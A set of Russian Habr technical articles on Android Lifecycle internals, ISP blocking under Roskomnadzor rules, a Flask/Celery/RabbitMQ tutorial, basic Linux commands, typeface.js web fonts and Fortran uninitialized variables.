public abstract void removeObserver(@NonNull LifecycleObserver observer);
```
Если удаление наблюдателя происходит во время изменения состояния жизненного цикла и отправка события об изменении состояния вызвана после удаления — наблюдатель не получит данного события.
Если в наблюдателе несколько методов ожидают одно событие и хотя бы один из методов был вызван во время удаления наблюдателя из списка наблюдащих, то все остальные методы также будут вызваны и только после этого произойдет удаление.
Возврат текущего состояния по запросу.
```
@MainThread
public abstract State getCurrentState();
```
В любой момент можно запросить текущее состояние жизненного цикла и, опираясь на ответ, предпринять какие-либо действия. Метод вернет экземпляр перечисления State.
**Существуют следующие виды State**
*INITIALIZED* — данное состояние соответствует тому времени, когда сущность реализующая интерфейс LifecycleOwner создана, но метод onCreate() еше не был вызван.
*CREATED* — данное состояние активно после вызова метода onCreate() и до вызова onStop().
*STARTED* — данное состояние активно после вызова метода onStart() и до вызова onPause().
*RESUMED* — данное состояние наступает после вызова метода onResume().
*DESTROYED* — данное состояние наступает непосредственно перед вызовом onDestroy(). По наступлению этого состояния LifecycleOwner более не отправляет событий об изменении состояний.
### Что происходит при добавлении наблюдателя к списку наблюдающих?
```
@Override
public void addObserver(@NonNull LifecycleObserver observer) {
State initialState = mState == DESTROYED ? DESTROYED : INITIALIZED;
ObserverWithState statefulObserver = new ObserverWithState(observer,
initialState);
<...>
}
```
При вызове метода *lifecycle.addObserver(observer)* observer помещается в конструктор экземпляра класса-обертки ObserverWithState. Как понятно из названия класса — этот класс хранит observer с последним обработанным состоянием жизненного цикла. Изначально устанавливает состояние DESTROYED или INITIALIZED.
```
@Override
public void addObserver(@NonNull LifecycleObserver observer) {
<...>
ObserverWithState previous = mObserverMap.putIfAbsent(observer,
statefulObserver);
if (previous != null) {
return;
}
LifecycleOwner lifecycleOwner = mLifecycleOwner.get();
if (lifecycleOwner == null) {
// it is null we should be destroyed. Fallback quickly
return;
}
<...>
}
```
После создания экземпляра наблюдателя с последним обработанным состоянием жизненного цикла — пытаемся добавить наблюдателя в коллекцию FastSafeIterableMap методом putIfAbsent().
```
@Override
public V putIfAbsent(@NonNull K key, @NonNull V v) {
Entry current = get(key);
if (current != null) {
return current.mValue;
}
mHashMap.put(key, put(key, v));
return null;
}
```
Если метод возвращает какой-то элемент — значит он уже есть в коллекции и добавлять повторно не надо. Что и происходит далее в коде. Работа метода *addObserver()* в случае имеющегося observer'а в списке прекращается. Также работа прекращается в том случае, если *lifecycleOwner == null*.
```
@Override
public void addObserver(@NonNull LifecycleObserver observer) {
<...>
State targetState = calculateTargetState(observer);
mAddingObserverCounter++;
while ((statefulObserver.mState.compareTo(targetState) < 0
&& mObserverMap.contains(observer))) {
pushParentState(statefulObserver.mState);
statefulObserver.dispatchEvent(lifecycleOwner,
upEvent(statefulObserver.mState));
popParentState();
// mState / subling may have been changed recalculate
targetState = calculateTargetState(observer);
}
<...>
}
```
Происходит вычисление текущего состояния жизненного цикла и начинают отправляться события до тех пор, пока состояние хранящееся в наблюдателе меньше текущего.
Что же за upEvent(state: State)? Замечу также, что существует downEvent(state: State). В зависимости от того, что сейчас происходит с жизненным циклом, опираясь на текущее состояние можно определить какое событие надо отправлять наблюдателю.
Разобраться с этим просто, посмотрев на тело методов и на схему, приведенные ниже.
```
private static Event downEvent(State state) {
switch (state) {
case INITIALIZED:
throw new IllegalArgumentException();
case CREATED:
return ON_DESTROY;
case STARTED:
return ON_STOP;
case RESUMED:
return ON_PAUSE;
case DESTROYED:
throw new IllegalArgumentException();
}
throw new IllegalArgumentException("Unexpected state value " + state);
}
private static Event upEvent(State state) {
switch (state) {
case INITIALIZED:
case DESTROYED:
return ON_CREATE;
case CREATED:
return ON_START;
case STARTED:
return ON_RESUME;
case RESUMED:
throw new IllegalArgumentException();
}
throw new IllegalArgumentException("Unexpected state value " + state);
}
```
### Как LifecycleOwner сообщает LifecycleObserver'у о событиях, происходящих с жизненным циклом фрагмента?
Фрагмент, реализующий интерфейс LifecycleOwner, содержит ряд доступных для вызова методов, соответствующих событиям жизненного цикла: такие как *performCreate(savedInstanceState: Bundle)*, *performStart()*, *performStop()* и другие.
Класс FragmentManagerImpl вызывает данные методы, во фрагменте в свою очередь вызываются соответствующие методы onStart, onStop и прочие. А также вызываются методы класса LifecycleRegistry.
```
void performStart() {
<...>
onStart();
mLifecycleRegistry.handleLifecycleEvent(Lifecycle.Event.ON_START);
}
```
В классе LifecycleRegistry вычисляется состояние, о котором надо отправить следующее событие на основе принятого события.
```
public void handleLifecycleEvent(@NonNull Lifecycle.Event event) {
State next = getStateAfter(event);
moveToState(next);
}
```
И после этого вычисляется какой тип события надо отправить наблюдателю — upEvent(state: State) или downEvent(state: State)
```
void dispatchEvent(LifecycleOwner owner, Event event) {
State newState = getStateAfter(event);
mState = min(mState, newState);
mLifecycleObserver.onStateChanged(owner, event);
mState = newState;
}
```
### Заключение
На самом деле описана только часть классов и интерфейсов, созданных компанией Google. Но для представления того, как все происходит и что кроется за парой строчек кода этого достаточно.
Разработчики Google дали по-настоящему мощный инструмент для разработки приложений с поддержанием архитектуры. В совокупности с другими компонентами у разработчика появляется возможность разрабатывать надежные приложения и не писать собственных, не всегда идеальных решений. | https://habr.com/ru/post/353052/ | null | ru | null |
# Как не распространять запрещённый контент, но всё равно ощутить на себе действие 139-ФЗ
В этой истории будет рассказано о том, как ваш интернет-ресурс, особенно если вы беспокоитесь о безопасности и используете на сайте SSL, может внезапно стать недоступен для посетителей из России, якобы по воле Роскомнадзора. Вы можете сколь угодно долго пытаться найти причину у себя, но окажется, что от вас ничего не зависит и либо вам повезёт и всё разрешится само, либо предстоит долгая и упорная борьба за чистоту своего IP-адреса. Ну ещё можно от SSL отказаться, что вряд ли хорошая идея.
Всё началось вечером 28 декабря. В чате нашего саппорта промелькнуло обсуждение пары тикетов, в которых пользователи жаловались на недоступность своих сайтов. Уведомлений о том, что их IP не понравились системе защиты от атак не было, поэтому саппорту было предложено провести клиентов через стандартную систему диагностики: пинги, трассировки и всё такое.
На утро 29 декабря таких жалоб было уже с десяток, что давало повод для беспокойства. Да и у меня самого что-то было не так: по HTTP я мог зайти на наши ресурсы, а по HTTPS — нет. Я попробовал по логам nginx отследить, нет ли какой-то ругани на заходы, но не увидел там ни одного захода от имени своего IP.
Просмотр заголовков во время открытия сайта по HTTP показал, что запросы начали проходить через провайдерский прокси-сервер с добавлением заголовков типа X-Cache:MISS from zapret. Таки да, нас зароскомнадзорили.
**Пример попытки достучаться до нашего IP с помощью curl**`kemko@dell-work: ~ $ curl --insecure --resolve 'testtest.test:443:185.129.101.243' -I https://testtest.test
curl: (7) Failed to connect to testtest.test port 443: Connection refused
kemko@dell-work: ~ $ curl --resolve 'testtest.test:80:185.129.101.243' -I http://testtest.test
HTTP/1.1 404 Not Found
Server: nginx
Date: Fri, 30 Dec 2016 08:09:41 GMT
Content-Type: text/html; charset=utf-8
Status: 404 Not Found
X-UA-Compatible: IE=Edge,chrome=1
Cache-Control: no-cache
Set-Cookie: request_method=GET; path=/
Set-Cookie: first_current_location=%2F; path=/; expires=Sat, 30-Dec-2017 08:09:41 GMT
Set-Cookie: first_referer=; path=/; expires=Sat, 30-Dec-2017 08:09:41 GMT
Set-Cookie: referer=; path=/; expires=Sat, 30-Dec-2017 08:09:41 GMT
Set-Cookie: current_location=%2F; path=/; expires=Sat, 30-Dec-2017 08:09:41 GMT
X-Request-Id: d16e4994ddeae80bec73120545035e75
X-Runtime: 0.025788
**X-Cache: MISS from zapret
Via: 1.1 zapret (squid/3.5.19)**
Connection: keep-alive`
Только вот за что? Я попробовал взять свежий дамп выгрузки с одного из зеркал реестра, вытащил оттуда заблокированные домены, сравнил с нашей базой, но не нашёл ни одного совпадения.
Тут я вспомнил, что вообще-то я сейчас дома и испытываю прямо на себе прелести блокировки. А подключён я к провайдеру, в техподдержке которого я когда-то работал и некоторые контакты с того времени ещё сохранились. Мне повезло и после того, как я смог внятно объяснить, что у нас не так и какая мне нужна помощь, админ провайдера раскопал мне домен, из-за которого наш IP попал под блокировку.
Причиной всему оказался домен telzakaz.ru, но понятнее ситуация не стала, ведь судя по [зеркалам реестра](https://reestr.rublacklist.net/rec/133344/), блокироваться должен только 193.150.0.212.
Резолвим этот домен и видим замечательную картину:
Ну хорошо, резолвится он сейчас в том числе и на наш IP. Но в выгрузке Роскомнадзора у этого домена указан только один айпишник, и он не наш!
Я спросил, каким ПО пользуется мой провайдер для блокировок, потому раньше он использовал явно другие механизмы. Как оказалось, в этом году они внедрили решение от [ZapretService](http://zapretservice.ru/). На сайте обнаружился довольно интересный абзац:
> ZapretService путем dns-запросов вычисляет ip-адреса серверов, где располагаются перечисленные url-адреса в реестре
Получается, это ПО работает на опережение: система самостоятельно резолвит все домены, содержащиеся в выгрузке, собирает полученные IP в таблицу и работает именно по ней. Далеко не факт, что именно этим ПО пользуются все провайдеры, для клиентов которых мы оказались недоступны. Но именно мой провайдер пользовался им.
До каждого провайдера за разумное время не достучишься, тем более, что подобное поведение раньше уже замечалось даже у ТТК и Runnet, поэтому я написал владельцу домена письмо с просьбой исключить наш IP, а параллельно стал общаться с хостингом, DNS которого он использовал.
Владелец молчал, его DNS-хостинг всячески не хотел по нашей просьбе удалять A-запись с нашим IP (и правильно делал, но нам-то от этого не легче). А в какой-то момент у домена просто пропали все 14 A-записей. Так как поддержка DNS-хостинга сказала, что это не они — видимо, то была реакция владельца домена на чьё-то обращение. То ли на наше, то ли на владельца какого-то из 13 оставшихся IP.
### Итог
Ваш сайт в любой момент может оказаться недоступен у большого количества провайдеров, в том числе и у крупных магистралов. Вам для этого даже не обязательно хостить что-то запрещённое, достаточно того, что владельцу любого заблокированного домена случайно попадётся под руку именно ваш IP.
Это вызывает ряд вопросов и мыслей.
Во-первых, конечно же, возникает вопрос а могут ли производители такого ПО и провайдеры по закону сами брать и расширять список IP, которые нужно подвергнуть блокировке согласно своим дополнительным эвристикам? Закон я, каюсь, досконально не изучал, но видимо могут. Скорее всего в законе явно не прописано обратное, а делается это для перестраховки: вот придёт завтра комиссия, попробует проверить, открывается ли у тебя заблокированный сайт, а он возьмёт и откроется, потому что его владелец сменил IP, но Роскомнадзор ещё не успел обновить адреса в списках. Но это мы с вами понимаем возможные причины, а до проверяющих возможно будет настолько трудно достучаться, что придётся оспаривать их выводы в суде.
Во-вторых — если закон действительно позволяет провайдерам так поступать, то закон нужно менять. Потому что должно быть важно не то, находится домен и/или IP в реестре, а то, содержится ли всё ещё на нём запрещённая к распространению информация. А значит, суды должны точно формулировать причины наложения блокировки, а Роскомнадзор, перед внесением в список очередного IP заблокированного сайта, должен проверять, а есть ли там всё ещё повлёкший блокировку контент.
Ну а в третьих — пока не наступило это светлое будущее — что делать то? В любой момент (кажется, я начинаю повторяться) у вас может случиться нечто, с которым, без доброй воли человека с заблокированным доменом, вообще ничего нельзя сделать.
Мы для себя на текущий момент решили, что нужно делать монстра, который будет периодически получать актуальную выгрузку для того, чтобы:
1. Не давать прикреплять к сайтам на нашем движке заблокированные домены;
2. Резолвить заблокированные домены и проверять, не начал ли какой-то из них возвращать наш IP;
3. На всякий случай ещё и парсить логи nginx в поисках заходов на заблокированные домены (ну мало ли!).
И то, этот монстр поможет нам лишь быстрее узнать о наличии проблемы и её причине. А вопрос о том, как её исправлять не уповая на чудо остаётся открытым. | https://habr.com/ru/post/318806/ | null | ru | null |
# Tic Tac Toe, часть 6: Flask и Celery/RabbitMQ
> [Tic Tac Toe: содержание цикла статей](https://habr.com/ru/post/461589/)
Попробуем подключить Celery/RabbitMQ к нашему проекту. В качестве основы возьмем [проект с Flask'ом](https://habr.com/ru/post/460621/). Celery займется вычислением случайного числа.
###### Установка проекта
Клонируем проект на свой компьютер:
```
git clone https://github.com/nomhoi/tic-tac-toe-part6.git
```
Запускаем контейнеры:
```
cd tic-tac-toe-part6
docker-compose up -d
```
Выполняем сборку веб-приложения:
```
cd front
npm install
npm run-script build
```
Открываем броузер по адресу <http://localhost>.
###### Docker контейнеры
Сервис **nginx** остался без изменений. В сервис **flask** добавили установку пакета Celery в файл requirements.txt и смонтировали папку с исходником проекта Celery:
```
volumes:
- ./flask:/code
- ./celery/app/proj:/code/proj
```
Добавились новые сервисы **celery** и **rabbit**.
```
celery:
container_name: celery
build:
context: celery/
dockerfile: Dockerfile
volumes:
- ./celery/app:/app
depends_on:
- rabbit
networks:
- backend
rabbit:
container_name: rabbit
hostname: rabbit
image: rabbitmq:3.7.15-alpine
environment:
- RABBITMQ_DEFAULT_USER=admin
- RABBITMQ_DEFAULT_PASS=CT2gNABH8eJ9yVh
ports:
- "5672:5672"
networks:
- backend
```
###### Сервис celery
Сервис **celery** выполнен на базе [этого туториала](http://docs.celeryproject.org/en/latest/getting-started/next-steps.html#next-steps). Кто не знаком с Celery, имеет смысл тут-же пройтись по этому туториалу:
```
$ docker exec -it celery python
Python 3.7.3 (default, May 11 2019, 02:00:41)
[GCC 8.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> from proj.tasks import add
>>> add.delay(2, 2)
>>>
```
Как видим, наш проект в Celery оформлен в виде пакета **proj**. В задачи Celery в файл **tasks.py** добавлена наша задача **getnumber**:
```
@app.task
def getnumber():
return randrange(9)
```
###### Сервис flask
Напомню, что в этот сервис мы добавили пакет **Celery** и смонтировали папку с проектом **proj**. Исходный код этого проекта теперь присутствует в двух сервисах **flask** и **celery**.
```
from flask import Flask, jsonify
from proj.tasks import getnumber
from proj.celery import app as celery
app = Flask(__name__)
@app.route('/number')
def number():
task = getnumber.delay()
return task.id
@app.route('/result/')
def result(task\_id):
task = getnumber.AsyncResult(task\_id)
result = task.get(timeout = 3)
response = {
'state': task.state,
'number': result,
}
return jsonify(response)
```
В обработчике **number** мы вызываем задачу **getnumber**, которая выполняется в воркере **celery** и возвращаем идентификатор задачи. В обработчике **result** мы получаем результат выполненной задачи по идентификатору и возвращаем ответ в JSON формате фронтенду.
###### Фронтенд
В диспетчере нашей игры по нажатию кнопки **Get random number** сначала отправляем запрос бэкенду по адресу **/number** и получаем от него идентификатор задачи Celery. После этого в функции **getResult** периодически отправляем запрос бэкенду на получение результата по адресу **/result/**.
```
async function getResult(task_id) {
var i = 1;
var timerId = setTimeout(async function go() {
console.log("Result request: " + i);
console.log("Task Id: " + task_id)
const res = await fetch(`result/` + task_id);
const response = await res.text();
if (res.ok) {
let result = JSON.parse(response);
console.log(result)
if (result.state === 'SUCCESS') {
let i = parseInt(result.number);
if ($status === 1 || $history.state.squares[i]) {
promise_number = result.number + ' - busy';
return;
}
promise_number = i;
history.push(new Command($history.state, i));
return;
}
}
if (i < 5)
setTimeout(go, 500);
i++;
}, 500);
}
```
Изменили вывод результатов запросов к бэкенду:
```
{#await promise}
...подождите
{:then taskid}
Task Id: {taskid}
{:catch error}
{error.message}
{/await}
{#await promise_number}
...подождите
{:then number}
Number: {number}
{:catch error}
{error.message}
{/await}
```
###### Домашнее задание
На самом деле сейчас результат приходит сразу после первого запроса. Попробуйте нашего интеллектуального агента живущего в **celery** сделать немного задумчивым, чтобы не сразу выдавал ответ.
Время от времени начинает приходить ошибка от **flask**'a "500 (INTERNAL SERVER ERROR)", это в **celery** поднимается исключение "celery.exceptions.TimeoutError: The operation timed out.". Помогает только перезагрузка сервисов. Пока не копал в чем дело, пожалуйста, посмотрите.
В **getResult** обрабатывается ответ только с состоянием SUCCESS, в остальных случаях выполняется повторный запрос. Можно добавить обработку ответов с FAILURE и PENDING. Формирование ответа в обработчике **result** также может зависеть от состояния задачи.
Вместо брокера сообщений RabbitMQ можно попробовать подключить Redis.
Можно попробовать выполнять запросы из приложения через брокеры сообщений.
А также попробовать выполнить это на базе примера с Boost.Beast.
###### Репозиторий на GitHub
<https://github.com/nomhoi/tic-tac-toe-part6> | https://habr.com/ru/post/461531/ | null | ru | null |
# Джентльменский набор команд Linux Часть 1
Закон Парето применим ко многим сферам, в том числе и к работе с терминалом Linux, ведь всего нескольких десятков команд позволит легко справляться с большинством задач. Мы выбрали 40 наиболее полезных команд, использование которых способно сильно облегчить жизнь при работе с Linux. Статья не претендует на статус истины в последней инстанции или максимально подробного руководства, а очередность команд обусловлена лишь алфавитным порядком.
### Джентльменский набор команд Linux Часть 1:
1. alias
2. cat
3. cd
4. chmod
5. chown
6. curl
7. df
1. alias
--------
Команда alias создает «ярлык» другой команды или последовательности команд Linux.
#### Синтаксис команды alias:
```
alias имя="значение"
alias имя="команда аргумент"
alias имя="/путь/к/файлу"
```
#### alias позволяет:
* Быстрее вводить команды.
* Исправлять частые опечатки.
Довольно распространенная ситуация, когда вместо команды ls вводится sl. В результате пользователь получает сообщение об ошибке:
С помощью команды alias можно исправить данную проблему:
```
$ alias sl=ls
$ sl
./ ../ alias.txt
```
Использования команды alias для последовательности команд:
```
alias pf="ps -e | grep $1"
```
В данном алиасе команда ps используется для вывода списка запущенных процессов, в котором grep ищет процессы, соответствующие параметру $1.
Стоит отметить, что команда alias по умолчанию работает лишь для текущей сессии командной строки. Т.е. если разлогиниться или открыть другой терминал, то созданные алиасы перестанут работать. Чтобы сделать их постоянными необходимо включить их в свой локальный файл домашней директории ~/.bashrc (в случае использования bash в качестве командной оболочки).
```
$ ls
alias.txt
$ echo 'alias ls="ls -l"' >> ~/.bashrc
$ . ~/.bashrc
$ ls
total 0
-rw-rw-r-- 1 lubos lubos 0 Jan 15 18:27 alias.txt
```
2. cat
------
Команда cat выводит содержание файлов в окне терминала.
#### cat позволяет:
* Посмотреть содержание небольших файлов, что быстрее, чем в редакторе.
* Исключить ошибки случайного изменения файла при просмотре.
* Склеить несколько файлов.
#### Синтаксис команды cat:
```
cat опции файл1 файл2
```
Чтобы посмотреть содержимое файла .bash\_log\_out через терминал нужно ввести:
```
cat .bash_logout
```
Чтобы склеить несколько файлов с помощью команды cat нужно просто указать названия файлов в аргументах, а результаты записать в новый файл. Например:
```
cat file1 file2 > file3
```
#### Основные опции cat:
* -b — нумеровать только строки с содержимым;
* -E — выводить $ в конец каждой строки;
* -n — нумеровать все строки;
* -s – удалять повторы пустых строк;
* -T — выводить табуляции в виде ^I.
3. cd
-----
cd изменяет текущий каталог, переводя в другое место файловой системы.
#### Синтаксис команды cd:
```
cd опции папка_назначения
```
Чтобы перейти в подкаталог домашней папки нужно просто указать после команды название директории (img для примера):
```
cd img
```
Если нужно попасть в другой каталог нужно указать путь:
```
cd /usr/local/bin
```
Чтобы быстро попасть в домашний каталог нужно указать вместо имени ~ (tilde):
```
cd ~
```
Вернуться в предыдущую папку:
```
cd –
```
Перейти в родительский каталог:
```
cd ..
```
Перемещение в родительский каталог текущего родительского каталога
```
cd ../../
```
4. chmod
--------
Команда chmod устанавливает права доступа к файлу или каталогу.
#### chmod позволяет:
* Разделить привилегии между пользователями.
* Ограничить доступ к нежелательным файлам и папкам.
* Контролировать доступные сервисам действия и прочее.
#### Синтаксис команды chmod:
```
chmod опции права /путь/к/файлу
```
Если вывести список папок и файлов командой ls с параметром –l, то можно увидеть нечто подобное:
```
-rwxrwxrwx
```
Первый символ означает:
* «-» — является файлом;
* «d» — является каталогом.
Остальная часть строки в 9 символов разбивается на три группы по 3 символа в каждой:
* Первые 3 символа – права доступа к файлам владельца (-rwx------).
* Вторые 3 символа – права доступа к файлам группы (----rwx---).
* Последние 3 символа – разрешения для других (-------rwx).
Обозначения символов:
* r – Чтение.
* w – Запись.
* x – Выполнение.
Если какой-то из символов отсутствует и вместо него указан «-», тогда нет доступа к данному действию.
Также задать права доступа можно с помощью цифр:
* 0 – нет прав (-);
* 1 – только выполнение (--x);
* 2 – только запись (-w-);
* 3 – запись и выполнение (w-x);
* 4 – только чтение (r--);
* 5 – чтение и выполнение (r-x);
* 6 – чтение и запись (rw-);
* 7 – чтение, запись и выполнение (rwx).
Например, у файла «ex.txt» указаны все права:
```
-rwxrwxrwx
```
Нужно изменить их на:
* Пользователь – все права (7 или rwx).
* Группа – чтение и запись (6 или rw-).
* Другим – чтение и выполнение (5 или r-x).
Тогда вводим следующую команду:
```
chmod 765 ex.txt
```
5. chown
--------
Команда chown (change owner) позволяет менять владельца и группу владельца:
* Файлов.
* Каталогов.
* Ссылок.
#### Синтаксис команды chown:
```
chown пользователь опции /путь/к/файлу
```
Если в поле пользователя указать группу через двоеточие (пользователь: группа), тогда изменится еще и группа.
#### Основные опции команды chown:
* -c — детальный вывод всех выполняемых изменений;
* -f — минимум информации (убирает ошибки из выдачи);
* -h — изменять права символических ссылок, а файлы к которым они ведут не трогать;
* -R — рекурсивная обработка всех подкаталогов;
* -L — переходить по всем символическим ссылкам на директории.
Изменить владельца папки ex1 на user:
```
chown user ./ex1
```
Изменить на владельца user и группу users:
```
chown user:users ./ex1
```
Чтобы изменения применялись не только к данному каталогу, но и всем подкаталогам внутри, необходимо добавить опцию -R:
```
chown -R user:users ./ex1
```
6. curl
-------
Утилита curl извлекает информацию и файлы с url-страниц.
Будет полезна тем, кто часто загружает:
* Скрипты.
* Исполняемые файлы программ.
* Архивы.
С помощью команды curl это можно делать не через браузер, а прямо из терминала, что дает возможность автоматизировать процесс.
На самом деле curl является не просто утилитой, а целым набором библиотек, способными реализовать все основные возможности по работе c передачей файлов и url-страницами.
Curl поддерживает работу с протоколами:
* FTP
* FTPS
* HTTP
* HTTPS
* TFTP
* SCP
* SFTP
* Telnet
* DICT
* LDAP
* POP3
* IMAP
* SMTP
#### Синтаксис утилиты:
`curl опции ссылка`
#### Загрузка файлов с помощью curl
Самая распространенная задача для утилиты curl – это загрузка файлов. Чтобы скачать файл достаточно передать утилите имя файла или адрес страницы, например:
```
curl https://raw.githubusercontent.com/torvalds/linux/master/ README.md
```
Таким образом содержимое файла будет отправлено на стандартный вывод. Для записи его в файл (для примера ex.txt) нужно ввести:
```
curl -o readme.txt https://raw.githubusercontent.com/torvalds/linux/master/ README.md
```
Чтобы скачанный файл назывался так же, как и на сервере необходимо использовать опцию -O:
```
curl –O https://raw.githubusercontent.com/torvalds/linux/master/ README.md
```
Стоит отметить, что не во всех дистрибутивах Linux утилита предустановлена по умолчанию.
7. df
-----
Команда df позволяет выводить:
* Список подключенных устройств
* Информацию о занятом месте
* Точку монтирования
#### Синтаксис команды df:
```
df опции устройство
```
#### Основные опции df:
* -h — выводить размеры в читаемом виде Мбайтах или Гбайтах;
* -x – исключить из вывода указанные файловые системы.
Например, необходимо получить информацию в читаемом виде для раздела /dev/sdb7, тогда вводим:
```
df -h /dev/sdb7
```
Чтобы игнорировать псевдо-файловые системы squashfs, создаваемые при установке приложения с помощью команды snap, вводим:
```
df -x squashfs
```
Лучший способ освоить новые команды – больше практиковаться, а лучше всего это делать на серверах компании [AlexHost](https://alexhost.com/ru/), где:
* Оперативная поддержка 24/7 круглый год
* Собственные дата-центры
* Полная анонимность
* Качественный VPS всего от 70 рублей в месяц
[](http://alexhost.com/ru/) | https://habr.com/ru/post/525696/ | null | ru | null |
# Используем любой шрифт с Javascript.
Все мы знаем прекрасные библиотеки sIFR3 и FLIR, которые на лету помогают использовать любой шрифт на веб-страницах.
Правда, с моей точки зрения, их использование (а именно установку и настройку) нельзя считать легким трудом.
Сегодня я расскажу о библиотеке Typeface.js, которая, как видно из названия, работает на чистом JavaScript.
Немного теории
==============
Официальный сайт библиотеки Typeface.js — <http://typeface.neocracy.org/>. На этом ресурсе можно найти всю дополнительную информацию.
#### Как это работает
Библиотека основывается на встроенных в браузер возможностях отрисовки векторной графики. Уже довольно долгое время браузеры поддерживают отрисовку векторной графики, Firefox имеет поддержку обьектов [canvas](http://www.whatwg.org/specs/web-apps/current-work/#the-canvas-element) и [SVG](http://www.w3.org/TR/SVG11/), а IE поддерживает [VML](http://www.w3.org/TR/NOTE-VML). Поддержка браузеров, заявленная разработчиком Дэвидом Честером (David Chester): Firefox 1.5+, Safari 2+, Internet Explorer 6+.
Библиотека состоит из двух компонентов: perl модул для конвертирования truetype шрифтов в векторные координаты и javascript-файла, который рендерит текст в браузере используя векторное описание шрифтов.
#### Преимущества
* Самое главное — отсутствие Flash. Всё работает на встроенных возможностях браузеров (при чем даже не самых последних версиях).
* Быстрая и простая установка. Не нужно разбираться в тонкостях более «навороченных» sIFR и FLIR.
* Текст видим как «текст», его можно выбрать, скопировать и т.д. Поисковики обрабатывают всё именно как текст. Правда, выбрать текст можно только в браузерах, поддерживающих canvas
* Поддержка всех свойств текста в CSS2. (font-size, letter-spacing, font-stretch, font-weight, line-height и т.д)
Пример
======
#### Подготовка
* [Качаем](http://typeface.neocracy.org/download.html) библиотеку и заливаем к себе на сервер в папочку /js/
* Далее нужно конвертировать нужный truetype шрифт с помощью [«Convert a Font»](http://typeface.neocracy.org/fonts.html) или качаем себе [perl моудль](http://typeface.neocracy.org/TypefaceJS-0.10.tar.gz).
* Поместим полученный в результате конверта файл .js в папочку с библиотекой.
#### Процесс
* В документа помещаем
> `"text/javascript"</font> src=<font color="#A31515">"js/typeface-0.11.js"</font>>
>
> "text/javascript"</font> src=<font color="#A31515">"js/moj-font.typeface.js"</font>>`
, где moj-font это тот документ, который мы получили в результате конвертирования.
* ВАЖНО! Все css-файлы должны быть подгружены перед подгрузкой библиотеки. Это архиважно, иначе результата не будет.
* В документа любому слою, в котором нам нужно присвоить тексту выбранный шрифт, ставим класс typeface-js.
> `class="myclass typeface-js" style="font-family: ALSAgrus; font-size:40px;">
>
> Хабрахабр.ру`
- Стиль можно задать как в атрибуте стайл, так и в css. Font-family должен быть названием шрифта, подгруженного с библиотекой. Для справки, правильное название можно посмотреть внизу конвертированного js файла с векторным отображением шрифта.
Всё, можно загружать страницу в браузере и смотреть результат!
А вот пример такой страници целиком:
blockquote>`1. DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
2. <html>
3. <head>
4. <title>Хабрафонтtitle>
5. <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
6.
7. <script type="text/javascript" src="js/typeface-0.11.js">script>
8.` | https://habr.com/ru/post/54109/ | null | ru | null |
# Неинициализированные переменные: ищем ошибки
Большое количество научных исследований используют код, написанный на языке Фортран. И, к великому сожалению, «научные» приложения тоже не застрахованы от банальных ошибок, таких как неинициализированные переменные. Стоит ли говорить, к чему могут приводить подобные вычисления? Иногда эффект от таких ошибок может довести до «серьёзных прорывов» в науке, или стать причиной действительно больших проблем – кто знает где полученные результаты могут быть использованы (но, мы догадываемся где)? Хотелось бы привести ряд простых и эффективных методов, которые позволят проверить существующий код на Фортране с помощью компилятора Intel и избежать подобных неприятностей.
Мы будем рассматривать проблемы, связанные с числами с плавающей точкой. Ошибки с неинициализированными переменными достаточно трудно находимы, особенно, если код начинали писать на стандарте Fortran 77. Специфика заключается в том, что даже если мы не объявили переменную, она будет объявляться неявно, в зависимости от первой буквы имени, по, так называемым, правилам неявного определения типов (всё это так же поддерживается в последних стандартах). Буквы от I до N означают тип INTEGER, а остальные буквы — тип REAL. То есть, если в нашем коде неожиданно появляется переменная F, на которую мы что-то умножаем, компилятор не будет выдавать ошибок, а просто сделает F вещественным типом. Вот такой замечательный пример может вполне хорошо скомпилироваться и выполниться:
```
program test
z = f*10
print *, z, f
end program test
```
Как вы понимаете, на экране будет всё, что угодно. У меня так:
```
-1.0737418E+09 -1.0737418E+08
```
Интересно, что в том же стандарте была возможность подобные «игры» с объявлением переменных запрещать, но только в пределах программной единицы, написав *implicit none*. Правда, если забыть это сделать в каком-то модуле, там так и будут появляться «фантомные» переменные. Любопытно, что я как-то раз видел случайно добавленные символы к имени переменной в расчётах. Видимо, кто-то случайно набирал что-то в блокноте, и часть из них добавилась в код программы при переключении между окнами. В итоге, всё продолжало считаться, и на переменную никто не ругался. Отследить подобные ошибки крайне сложно, особенно если код долгие годы работал без проблем.
Поэтому, очень рекомендую всегда использовать *implicit none* и получать ошибки от компилятора о переменных, которые не были явно определены (даже если они и инициализированы и с ними всё хорошо):
```
program test
implicit none
...
end program test
error #6404: This name does not have a type, and must have an explicit type. [Z]
error #6404: This name does not have a type, and must have an explicit type. [F]
```
Если же мы разбираемся в уже написанном коде, то менять все исходники может быть весьма трудозатратно, поэтому можно воспользоваться опцией компилятора */warn:declarations*(Windows) или *-warn declarations*(Linux). Она выдаст нам предупреждения:
```
warning #6717: This name has not been given an explicit type. [Z]
warning #6717: This name has not been given an explicit type. [F]
```
Когда мы разберёмся со всеми неявными объявленными переменными и убедимся, что ошибок с ними нет, можно переходить к следующей части «Марлезонского балета», а именно поиском неинициализированных переменных.
Одним из стандартных способов является инициализация компилятором всех переменных некоторым значением, по которому, при работе с переменной, мы сможем легко понять, что разработчик забыл про инициализацию. Значение это должно быть весьма «необычным», а при работе с ним, желательно, останавливать выполнение приложения, чтобы, так сказать, «взять с поличным».
Весьма логичным является использование «сигнальным» значением *SNaN* — Signaling NaN (Not-a-Number). Это число с плавающей точкой, имеющее особое представление, и при попытке выполнить любую операцию с ним, мы получим исключение. Стоит сказать, что некая переменная может получить значение NaN и при выполнении определенных операция, например, делении на нуль, умножении нуля на бесконечность, делении бесконечности на бесконечность и так далее. Поэтому, прежде чем переходить к «отлову» неинициализированных переменных, хотелось бы убедиться, что в нашем коде нет никаких исключений, связанных с работой с числами с плавающей точкой.
